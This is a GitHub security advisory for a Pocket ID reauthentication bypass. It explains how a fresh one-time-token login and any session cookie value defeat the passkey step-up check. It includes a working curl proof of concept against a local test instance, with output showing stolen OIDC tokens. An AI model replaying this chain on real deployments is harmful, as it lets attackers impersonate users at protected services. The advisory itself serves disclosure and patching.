GitHub Advisoryadvisory · Go

GHSA-hp74-gm6m-2qm5 Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method

MEDIUM Published 2026-07-28 Modified 2026-07-28 Official page ↗
Ecosystem
Go
Packages
github.com/pocket-id/pocket-id/backend
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N
Weaknesses
CWE-287
Reviewed
2026-07-28

Affected packages

• Go github.com/pocket-id/pocket-id/backend: < 0.0.0-20260419162744-978ac87deffe → fixed in 0.0.0-20260419162744-978ac87deffe

Description

Reauthentication Bypass via One-Time Access Token Login Summary A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone. The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely. Root Cause `CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old: ```go // webauthn_service.go:378-381 tokenExpiration, ok := token.IssuedAt() if !ok || time.Since(tokenExpiration) > time.Minute { return "", &common.ReauthenticationRequiredError{} } ``` It does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion: ```go // webauthn_controller.go:189-199 credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body) if err == nil { token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...) } else { // FALLBACK: Only checks access token age, not auth method accessToken, _ := c.Cookie(cookie.AccessTokenCookieName) token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken) } ``` Additionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check: ```go // webauthn_controller.go:180-184 sessionID, err := c.Cookie(cookie.SessionIdCookieName) if err != nil { _ = c.Error(&common.MissingSessionIdError{}) return } // sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT // to CreateReauthenticationTokenWithAccessToken (the fallback path) ``` In the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session. Meanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed: ```go // jwt_service.go:191-195 now := time.Now() token, err := jwt.NewBuilder(). Subject(user.ID). Expiration(now.Add(...)). IssuedAt(now). // Always "now" — regardless of auth method ``` This function is called by: 1. WebAuthn login (intended passkey path) 2. One-time access token exchange (one_time_access_service.go:200) 3. User signup (user_signup_controller.go:182) All three produce tokens that bypass the reauthentication freshness check. Attack Chain Precondition: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled). 1. Exchange OTA for fresh JWT: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`. 2. Set any session cookie: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`. 3. Bypass reauthentication: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction. 4. Authorize sensitive client: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued. 5. Get OIDC tokens: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token. All steps complete in under 2 seconds (60-second window is trivial for scripts). Proof of Concept (Verified Live) Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. ```bash Seed test database curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV Returns 200 with user info, sets access_token cookie with IssuedAt=now Bypass reauthentication - empty body triggers access token fallback Session cookie can be ANY arbitrary value - handler only checks existence curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \ -H "Content-Type: application/json" -d '{}' Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"} NO passkey interaction! Fake session cookie accepted! Authorize sensitive OIDC client (after enabling RequiresReauthentication) curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientID":"3654a746-...","scope":"openid profile email", "callbackURL":"http://nextcloud/auth/callback", "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}' Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."} OIDC authorization code issued without passkey! Exchange for full OIDC token set curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..." Returns: access_token, id_token, refresh_token ``` Live output from the test run: ``` [A3] Bypass reauthentication (empty body -> access token fallback)... Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7 [A4] Authorize Nextcloud (requiresReauthentication=true)... Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"} [A5] Exchange authorization code for OIDC tokens... Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in'] === FULL CHAIN COMPLETE === ``` Impact The `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access: • Unauthorized victim-scoped downstream access: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation. • Persistent access via refresh token: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access. • **…

Related

Weakness · CWE (1)

  • CWE-287 Improper Authentication weakness

References